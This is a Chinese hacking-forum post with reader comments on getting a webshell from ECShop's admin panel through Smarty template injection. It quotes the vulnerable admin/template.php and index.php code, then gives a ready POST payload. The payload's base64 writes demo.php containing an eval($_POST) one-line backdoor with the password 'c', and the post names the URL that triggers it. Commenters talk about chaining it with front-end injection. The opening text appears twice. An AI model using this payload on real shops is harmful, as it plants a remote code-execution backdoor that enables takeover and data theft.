Ecshop 后台getshell
朋友说拿不到shell,就看了下,
禁止转载
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php那么找个比较方便调用了模板的文件
index.php那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容:然后访问http://localhost/ec/index.php?act=cat_rec
shel地址:http://localhost/ec/demo.php
密码c
禁止转载
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
if ($_REQUEST['act'] == 'update_library')
{
check_authz_json('library_manage');
$html = stripslashes(json_str_iconv($_POST['html']));
$lib_file = '../themes/' . $_CFG['template'] . '/library/' . $_POST['lib'] . '.lbi'; //模板文件
$lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$org_html = str_replace("\xEF\xBB\xBF", '', file_get_contents($lib_file));
if (@file_exists($lib_file) === true && @file_put_contents($lib_file, $html))//写出
{
@file_put_contents('../temp/backup/library/' . $_CFG['template'] . '-' . $_POST['lib'] . '.lbi', $org_html);
make_json_result('', $_LANG['update_lib_success']);
}
else
{
make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' . $_CFG['template'] . '/library'));
}
}
index.php
if ($act == 'cat_rec')
{
$rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$rec_type = !empty($_REQUEST['rec_type']) ? intval($_REQUEST['rec_type']) : '1';
$cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
include_once('includes/cls_json.php');
$json = new JSON;
$result = array('error' => 0, 'content' => '', 'type' => $rec_type, 'cat_id' => $cat_id);
$children = get_children($cat_id);
$smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
$smarty->assign('cat_rec_sign', 1);
$result['content'] = $smarty->fetch('library/recommend_' . $rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
echo $rec_array[$rec_type];
die($json->encode($result));
}
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容:
lib=recommend_best&html={if fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}11111{/if}
shel地址:http://localhost/ec/demo.php
密码c
评论56次
如果能编辑库项目 也可以添加这个代码 生成出一句话
低权限也行???
有亮点啊,谢谢分享。
这个通杀(后台) 谢谢 配合前台注入 很完美
ECSHOP 注入过来注入过去 后台用户数据都md5+"盐"了,解不出只能射了 闷闷闷 不过还是谢谢LZ share
好东西,又一个方法了
赞一个大C
@alibaba@狗一样的男人@t00ls管理团队01 fuck,转的速度真快,看样子活不鸟多久了
密码解不开啊
通常是备份拿shell,这个方法还是比较方便的,抽时间试试!
Smart。。不会
这个人转的:https://www.t00ls.com/space.php?uid=5985 这个站是他的站,已经鉴定无误,直接ban ID。
可以试试这个办法啊
研究得够深入啊 但目测过不了多久官方就会更新了
已经被转出去了@Cond0r http://www.unhonker.com/bug/885.html
又个好方法。果断mark
马上看到一个了 http://www.unhonker.com/bug/885.html
看看明天是不是同街有
谢谢你,shopex也是
破解是能力,共享是精神!